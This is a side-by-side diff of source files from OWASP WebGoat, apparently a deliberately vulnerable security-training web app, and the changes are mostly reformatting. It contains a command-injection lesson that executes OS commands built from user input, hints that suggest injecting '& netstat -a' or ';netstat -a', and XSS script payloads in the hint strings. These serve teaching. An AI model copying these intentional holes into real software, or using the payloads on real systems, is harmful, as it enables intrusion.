System.out.println("Executing OS command: " + command); System.out.println("Executing OS command: " + command);
ExecResults er = Exec.execSimple(command); ExecResults er = Exec.execSimple(command);
if ((command.indexOf("&") != -1 || command.indexOf(";") != -1) if ((command.indexOf("&") != -1 || command.indexOf(";") != -1) && !er.getError())
&& !er.getError())
{ {
makeSuccess(s); makeSuccess(s);
} }
@ -267,12 +233,13 @@ public class CommandInjection extends LessonAdapter
return (er.toString()); return (er.toString());
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param command Description of the Parameter * @param command
* @param s Description of the Parameter * Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
private String exec(WebSession s, String[] command) private String exec(WebSession s, String[] command)
@ -297,7 +264,6 @@ public class CommandInjection extends LessonAdapter
return Category.INJECTION; return Category.INJECTION;
} }
/** /**
* Gets the hints attribute of the DirectoryScreen object * Gets the hints attribute of the DirectoryScreen object
* *
@ -306,19 +272,15 @@ public class CommandInjection extends LessonAdapter
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints hints.add("The application is using a system command to return the contents of a file.");
.add("The application is using a system command to return the contents of a file.");
hints hints
.add("The ampersand(&) separates commands in the Windows 2000 command shell. In Unix the separator is typically a semi-colon(;)"); .add("The ampersand(&) separates commands in the Windows 2000 command shell. In Unix the separator is typically a semi-colon(;)");
hints hints.add("Use a proxy to insert & netstat -a on Windows or ;netstat -a on Unix.");
.add("Use a proxy to insert & netstat -a on Windows or ;netstat -a on Unix."); hints.add("Note that the server may enclose the submitted file name within quotes");
hints
.add("Note that the server may enclose the submitted file name within quotes");
return hints; return hints;
} }
/** /**
* Gets the instructions attribute of the ParameterInjection object * Gets the instructions attribute of the ParameterInjection object
* *
@ -334,13 +296,11 @@ public class CommandInjection extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(40); private final static Integer DEFAULT_RANKING = new Integer(40);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the DirectoryScreen object * Gets the title attribute of the DirectoryScreen object
* *

172
main/project/JavaSource/org/owasp/webgoat/lessons/ConcurrencyCart.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.text.NumberFormat; import java.text.NumberFormat;
@ -5,7 +6,6 @@ import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.Locale; import java.util.Locale;
import java.util.regex.Pattern; import java.util.regex.Pattern;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A; import org.apache.ecs.html.A;
@ -24,32 +24,31 @@ import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder; import org.owasp.webgoat.util.HtmlEncoder;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -71,12 +70,16 @@ public class ConcurrencyCart extends LessonAdapter
private float ratio = 0; private float ratio = 0;
private int discount = 0; private int discount = 0;
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
@ -103,17 +106,18 @@ public class ConcurrencyCart extends LessonAdapter
{ {
discount = 0; // Discount meaningless discount = 0; // Discount meaningless
} }
else // The expected case -- items cost something else
// The expected case -- items cost something
{ {
ratio = runningTOTAL / calcTOTAL; ratio = runningTOTAL / calcTOTAL;
} }
if (calcTOTAL > runningTOTAL) if (calcTOTAL > runningTOTAL)
{ {
// CONGRATS // CONGRATS
discount = (int) (100 * (1 - ratio)); discount = (int) (100 * (1 - ratio));
s.setMessage("Thank you for shopping! You have (illegally!) received a " + discount +"% discount. Police are on the way to your IP address."); s.setMessage("Thank you for shopping! You have (illegally!) received a " + discount
+ "% discount. Police are on the way to your IP address.");
makeSuccess(s); makeSuccess(s);
} }
@ -121,7 +125,8 @@ public class ConcurrencyCart extends LessonAdapter
{ {
// ALMOST // ALMOST
discount = (int) (100 * (ratio - 1)); discount = (int) (100 * (ratio - 1));
s.setMessage("You are on the right track, but you actually overpaid by " + discount + "%. Try again!"); s.setMessage("You are on the right track, but you actually overpaid by " + discount
+ "%. Try again!");
} }
} }
else else
@ -130,8 +135,7 @@ public class ConcurrencyCart extends LessonAdapter
ec = createShoppingPage(s, quantity1, quantity2, quantity3, quantity4); ec = createShoppingPage(s, quantity1, quantity2, quantity3, quantity4);
} }
} } catch (ParameterNotFoundException pnfe)
catch (ParameterNotFoundException pnfe)
{ {
System.out.println("[DEBUG] no action selected, defaulting to createShoppingPage"); System.out.println("[DEBUG] no action selected, defaulting to createShoppingPage");
ec = createShoppingPage(s, quantity1, quantity2, quantity3, quantity4); ec = createShoppingPage(s, quantity1, quantity2, quantity3, quantity4);
@ -150,12 +154,13 @@ public class ConcurrencyCart extends LessonAdapter
} }
/* /*
********************************************************************** * ********************************************************************* ******************
******************* PURCHASING PAGE ********************************** * PURCHASING PAGE **********************************
* ********************************************************************* * *********************************************************************
*/ */
private ElementContainer createPurchaseContent(WebSession s, int quantity1, int quantity2, int quantity3, int quantity4) private ElementContainer createPurchaseContent(WebSession s, int quantity1, int quantity2, int quantity3,
int quantity4)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -167,22 +172,24 @@ public class ConcurrencyCart extends LessonAdapter
try try
{ {
String param1 = s.getParser().getRawParameter("PAC", "111"); String param1 = s.getParser().getRawParameter("PAC", "111");
String param2 = HtmlEncoder.encode(s.getParser().getRawParameter( String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("CC", "5321 1337 8888 2007"));
"CC", "5321 1337 8888 2007"));
// test input field1 // test input field1
if (!pattern1.matcher(param1).matches()) if (!pattern1.matcher(param1).matches())
{ {
s.setMessage("Error! You entered " + HtmlEncoder.encode(param1) + " instead of your 3 digit code. Please try again."); s.setMessage("Error! You entered " + HtmlEncoder.encode(param1)
+ " instead of your 3 digit code. Please try again.");
} }
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1().addElement("Place your order "))); ec.addElement(new Center().addElement(new H1().addElement("Place your order ")));
Table table = new Table().setCellSpacing(0).setCellPadding(2) Table table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%")
.setBorder(1).setWidth("90%").setAlign("center"); .setAlign("center");
if (s.isColor()) if (s.isColor())
{ table.setBorder(1); } {
table.setBorder(1);
}
// Table Setup // Table Setup
TR tr = new TR(); TR tr = new TR();
@ -238,10 +245,12 @@ public class ConcurrencyCart extends LessonAdapter
ec.addElement(table); ec.addElement(table);
table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0) table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
.setWidth("90%").setAlign("center");
if (s.isColor()) { table.setBorder(1); } if (s.isColor())
{
table.setBorder(1);
}
ec.addElement(new BR()); ec.addElement(new BR());
@ -284,8 +293,7 @@ public class ConcurrencyCart extends LessonAdapter
ec.addElement(table); ec.addElement(table);
ec.addElement(new BR()); ec.addElement(new BR());
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -295,8 +303,8 @@ public class ConcurrencyCart extends LessonAdapter
} }
/* /*
********************************************************************** * ********************************************************************* ******************
******************* CONFIRMATION PAGE ******************************** * CONFIRMATION PAGE ********************************
* ********************************************************************* * *********************************************************************
*/ */
@ -313,11 +321,13 @@ public class ConcurrencyCart extends LessonAdapter
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1().addElement("Thank you for your purchase!"))); ec.addElement(new Center().addElement(new H1().addElement("Thank you for your purchase!")));
ec.addElement(new Center().addElement(new H1().addElement("Confirmation number: " + confNumber))); ec.addElement(new Center().addElement(new H1().addElement("Confirmation number: " + confNumber)));
Table table = new Table().setCellSpacing(0).setCellPadding(2) Table table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%")
.setBorder(1).setWidth("90%").setAlign("center"); .setAlign("center");
if (s.isColor()) if (s.isColor())
{ table.setBorder(1); } {
table.setBorder(1);
}
// Table Setup // Table Setup
TR tr = new TR(); TR tr = new TR();
@ -373,11 +383,12 @@ public class ConcurrencyCart extends LessonAdapter
ec.addElement(table); ec.addElement(table);
table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0) table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
.setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ table.setBorder(1); } {
table.setBorder(1);
}
ec.addElement(new BR()); ec.addElement(new BR());
@ -400,8 +411,7 @@ public class ConcurrencyCart extends LessonAdapter
ec.addElement(table); ec.addElement(table);
ec.addElement(new BR()); ec.addElement(new BR());
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -410,8 +420,8 @@ public class ConcurrencyCart extends LessonAdapter
} }
/* /*
********************************************************************** * ********************************************************************* ******************
******************* SHOPPING PAGE ********************************** * SHOPPING PAGE **********************************
* ********************************************************************* * *********************************************************************
*/ */
@ -426,11 +436,13 @@ public class ConcurrencyCart extends LessonAdapter
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart "))); ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart ")));
Table table = new Table().setCellSpacing(0).setCellPadding(2) Table table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%")
.setBorder(1).setWidth("90%").setAlign("center"); .setAlign("center");
if (s.isColor()) if (s.isColor())
{ table.setBorder(1); } {
table.setBorder(1);
}
// Table Setup // Table Setup
TR tr = new TR(); TR tr = new TR();
@ -444,8 +456,7 @@ public class ConcurrencyCart extends LessonAdapter
tr = new TR(); // Create a new table object tr = new TR(); // Create a new table object
tr.addElement(new TD().addElement("Hitachi - 750GB External Hard Drive")); tr.addElement(new TD().addElement("Hitachi - 750GB External Hard Drive"));
tr.addElement(new TD().addElement("$169.00").setAlign("right")); tr.addElement(new TD().addElement("$169.00").setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY1", String.valueOf(quantity1)))
new Input(Input.TEXT, "QTY1", String.valueOf(quantity1)))
.setAlign("right")); .setAlign("right"));
total = quantity1 * 169; total = quantity1 * 169;
@ -457,8 +468,7 @@ public class ConcurrencyCart extends LessonAdapter
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Hewlett-Packard - All-in-One Laser Printer")); tr.addElement(new TD().addElement("Hewlett-Packard - All-in-One Laser Printer"));
tr.addElement(new TD().addElement("$299.00").setAlign("right")); tr.addElement(new TD().addElement("$299.00").setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY2", String.valueOf(quantity2)))
new Input(Input.TEXT, "QTY2", String.valueOf(quantity2)))
.setAlign("right")); .setAlign("right"));
total = quantity2 * 299; total = quantity2 * 299;
@ -470,8 +480,7 @@ public class ConcurrencyCart extends LessonAdapter
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Sony - Vaio with Intel Centrino")); tr.addElement(new TD().addElement("Sony - Vaio with Intel Centrino"));
tr.addElement(new TD().addElement("$1799.00").setAlign("right")); tr.addElement(new TD().addElement("$1799.00").setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY3", String.valueOf(quantity3)))
new Input(Input.TEXT, "QTY3", String.valueOf(quantity3)))
.setAlign("right")); .setAlign("right"));
total = quantity3 * 1799; total = quantity3 * 1799;
@ -483,8 +492,7 @@ public class ConcurrencyCart extends LessonAdapter
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Toshiba - XGA LCD Projector ")); tr.addElement(new TD().addElement("Toshiba - XGA LCD Projector "));
tr.addElement(new TD().addElement("$649.00").setAlign("right")); tr.addElement(new TD().addElement("$649.00").setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY4", String.valueOf(quantity4)))
new Input(Input.TEXT, "QTY4", String.valueOf(quantity4)))
.setAlign("right")); .setAlign("right"));
total = quantity4 * 649; total = quantity4 * 649;
@ -494,11 +502,12 @@ public class ConcurrencyCart extends LessonAdapter
ec.addElement(table); ec.addElement(table);
table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0) table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
.setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ table.setBorder(1); } {
table.setBorder(1);
}
ec.addElement(new BR()); ec.addElement(new BR());
@ -513,7 +522,6 @@ public class ConcurrencyCart extends LessonAdapter
tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("right")); tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("right"));
table.addElement(tr); table.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2)); tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
table.addElement(tr); table.addElement(tr);
@ -527,8 +535,7 @@ public class ConcurrencyCart extends LessonAdapter
ec.addElement(table); ec.addElement(table);
ec.addElement(new BR()); ec.addElement(new BR());
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -538,15 +545,13 @@ public class ConcurrencyCart extends LessonAdapter
String formatInt(int i) String formatInt(int i)
{ {
NumberFormat intFormat = NumberFormat intFormat = NumberFormat.getIntegerInstance(Locale.US);
NumberFormat.getIntegerInstance(Locale.US);
return intFormat.format(i); return intFormat.format(i);
} }
String formatFloat(float f) String formatFloat(float f)
{ {
NumberFormat floatFormat = NumberFormat floatFormat = NumberFormat.getNumberInstance(Locale.US);
NumberFormat.getNumberInstance(Locale.US);
floatFormat.setMinimumFractionDigits(2); floatFormat.setMinimumFractionDigits(2);
floatFormat.setMaximumFractionDigits(2); floatFormat.setMaximumFractionDigits(2);
return floatFormat.format(f); return floatFormat.format(f);
@ -565,7 +570,10 @@ public class ConcurrencyCart extends LessonAdapter
* *
* @return DOCUMENT ME! * @return DOCUMENT ME!
*/ */
protected Category getDefaultCategory() { return Category.CONCURRENCY; } protected Category getDefaultCategory()
{
return Category.CONCURRENCY;
}
/** /**
* Gets the hints attribute of the AccessControlScreen object * Gets the hints attribute of the AccessControlScreen object
@ -596,15 +604,23 @@ public class ConcurrencyCart extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(120); private final static Integer DEFAULT_RANKING = new Integer(120);
protected Integer getDefaultRanking() { return DEFAULT_RANKING; } protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/** /**
* Gets the title attribute of the AccessControlScreen object * Gets the title attribute of the AccessControlScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() { return "Shopping Cart Concurrency Flaw"; } public String getTitle()
{
public Element getCredits() { return super.getCustomCredits("", ASPECT_LOGO); } return "Shopping Cart Concurrency Flaw";
}
public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO);
}
} }

99
main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/CrossSiteScripting.java
View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons.CrossSiteScripting; package org.owasp.webgoat.lessons.CrossSiteScripting;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.lessons.Category; import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DeleteProfile; import org.owasp.webgoat.lessons.GoatHillsFinancial.DeleteProfile;
@ -19,33 +19,32 @@ import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder; import org.owasp.webgoat.util.HtmlEncoder;
/** /**
/******************************************************************************* * /*******************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -75,16 +74,11 @@ public class CrossSiteScripting extends GoatHillsFinancial
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions. // These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION, registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
getAction(LISTSTAFF_ACTION))); registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION, registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
getAction(LOGIN_ACTION))); registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className,
UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className,
DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
} }
/** /**
@ -108,30 +102,24 @@ public class CrossSiteScripting extends GoatHillsFinancial
// Stage 1 // Stage 1
hints.add("You can put HTML tags in form input fields."); hints.add("You can put HTML tags in form input fields.");
hints hints.add("Bury a SCRIPT tag in the field to attack anyone who reads it.");
.add("Bury a SCRIPT tag in the field to attack anyone who reads it.");
hints hints
.add("Enter this: &lt;script language=\"javascript\" type=\"text/javascript\"&gt;alert(\"Ha Ha Ha\");&lt;/script&gt; in message fields."); .add("Enter this: &lt;script language=\"javascript\" type=\"text/javascript\"&gt;alert(\"Ha Ha Ha\");&lt;/script&gt; in message fields.");
hints hints.add("Enter this: &lt;script&gtalert(\"document.cookie\");&lt;/script&gt; in message fields.");
.add("Enter this: &lt;script&gtalert(\"document.cookie\");&lt;/script&gt; in message fields.");
// Stage 2 // Stage 2
hints hints.add("Many scripts rely on the use of special characters such as: &lt;");
.add("Many scripts rely on the use of special characters such as: &lt;");
hints hints
.add("Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering)."); .add("Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering).");
hints hints.add("The java.util.regex package is useful for filtering string values.");
.add("The java.util.regex package is useful for filtering string values.");
// Stage 3 // Stage 3
hints hints
.add("Browsers recognize and decode HTML entity encoded content after parsing and interpretting HTML tags."); .add("Browsers recognize and decode HTML entity encoded content after parsing and interpretting HTML tags.");
hints hints.add("An HTML entity encoder is provided in the ParameterParser class.");
.add("An HTML entity encoder is provided in the ParameterParser class.");
// Stage 4 // Stage 4
hints hints.add("Examine content served in response to form submissions looking for data taken from the form.");
.add("Examine content served in response to form submissions looking for data taken from the form.");
// Stage 5 // Stage 5
hints hints
@ -140,7 +128,6 @@ public class CrossSiteScripting extends GoatHillsFinancial
return hints; return hints;
} }
/** /**
* Gets the instructions attribute of the ParameterInjection object * Gets the instructions attribute of the ParameterInjection object
* *
@ -196,7 +183,8 @@ public class CrossSiteScripting extends GoatHillsFinancial
} }
@Override @Override
public String[] getStages() { public String[] getStages()
{
if (getWebgoatContext().isCodingExercises()) if (getWebgoatContext().isCodingExercises())
return new String[] { STAGE1, STAGE2, STAGE3, STAGE4, STAGE5, STAGE6 }; return new String[] { STAGE1, STAGE2, STAGE3, STAGE4, STAGE5, STAGE6 };
return new String[] { STAGE1, STAGE3, STAGE5 }; return new String[] { STAGE1, STAGE3, STAGE5 };
@ -204,15 +192,13 @@ public class CrossSiteScripting extends GoatHillsFinancial
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
if (s.getLessonSession(this) == null) if (s.getLessonSession(this) == null) s.openLessonSession(this);
s.openLessonSession(this);
String requestedActionName = null; String requestedActionName = null;
try try
{ {
requestedActionName = s.getParser().getStringParameter("action"); requestedActionName = s.getParser().getStringParameter("action");
} } catch (ParameterNotFoundException pnfe)
catch (ParameterNotFoundException pnfe)
{ {
// Let them eat login page. // Let them eat login page.
requestedActionName = LOGIN_ACTION; requestedActionName = LOGIN_ACTION;
@ -226,8 +212,7 @@ public class CrossSiteScripting extends GoatHillsFinancial
if (action != null) if (action != null)
{ {
if (!action.requiresAuthentication() if (!action.requiresAuthentication() || action.isAuthenticated(s))
|| action.isAuthenticated(s))
{ {
action.handleRequest(s); action.handleRequest(s);
// setCurrentAction(s, action.getNextPage(s)); // setCurrentAction(s, action.getNextPage(s));
@ -237,32 +222,27 @@ public class CrossSiteScripting extends GoatHillsFinancial
{ {
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} }
} } catch (ParameterNotFoundException pnfe)
catch (ParameterNotFoundException pnfe)
{ {
System.out.println("Missing parameter"); System.out.println("Missing parameter");
pnfe.printStackTrace(); pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} } catch (ValidationException ve)
catch (ValidationException ve)
{ {
System.out.println("Validation failed"); System.out.println("Validation failed");
ve.printStackTrace(); ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} } catch (UnauthenticatedException ue)
catch (UnauthenticatedException ue)
{ {
s.setMessage("Login failed"); s.setMessage("Login failed");
System.out.println("Authentication failure"); System.out.println("Authentication failure");
ue.printStackTrace(); ue.printStackTrace();
} } catch (UnauthorizedException ue2)
catch (UnauthorizedException ue2)
{ {
s.setMessage("You are not authorized to perform this function"); s.setMessage("You are not authorized to perform this function");
System.out.println("Authorization failure"); System.out.println("Authorization failure");
ue2.printStackTrace(); ue2.printStackTrace();
} } catch (Exception e)
catch (Exception e)
{ {
// All other errors send the user to the generic error page // All other errors send the user to the generic error page
System.out.println("handleRequest() error"); System.out.println("handleRequest() error");
@ -280,7 +260,6 @@ public class CrossSiteScripting extends GoatHillsFinancial
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the CrossSiteScripting object * Gets the title attribute of the CrossSiteScripting object
* *
@ -293,8 +272,8 @@ public class CrossSiteScripting extends GoatHillsFinancial
public String htmlEncode(WebSession s, String text) public String htmlEncode(WebSession s, String text)
{ {
if (STAGE4.equals(getStage(s)) && if (STAGE4.equals(getStage(s)) && text.indexOf("<script>") > -1 && text.indexOf("alert") > -1
text.indexOf("<script>") > -1 && text.indexOf("alert") > -1 && text.indexOf("</script>") > -1) && text.indexOf("</script>") > -1)
{ {
setStageComplete(s, STAGE4); setStageComplete(s, STAGE4);
s.setMessage("Welcome to stage 5 -- exploiting the data layer"); s.setMessage("Welcome to stage 5 -- exploiting the data layer");

140
main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/EditProfile.java
View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons.CrossSiteScripting; package org.owasp.webgoat.lessons.CrossSiteScripting;
import java.sql.PreparedStatement; import java.sql.PreparedStatement;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.session.Employee; import org.owasp.webgoat.session.Employee;
@ -12,73 +12,65 @@ import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException; import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class EditProfile extends DefaultLessonAction public class EditProfile extends DefaultLessonAction
{ {
public EditProfile(GoatHillsFinancial lesson, String lessonName, public EditProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
String actionName)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
} }
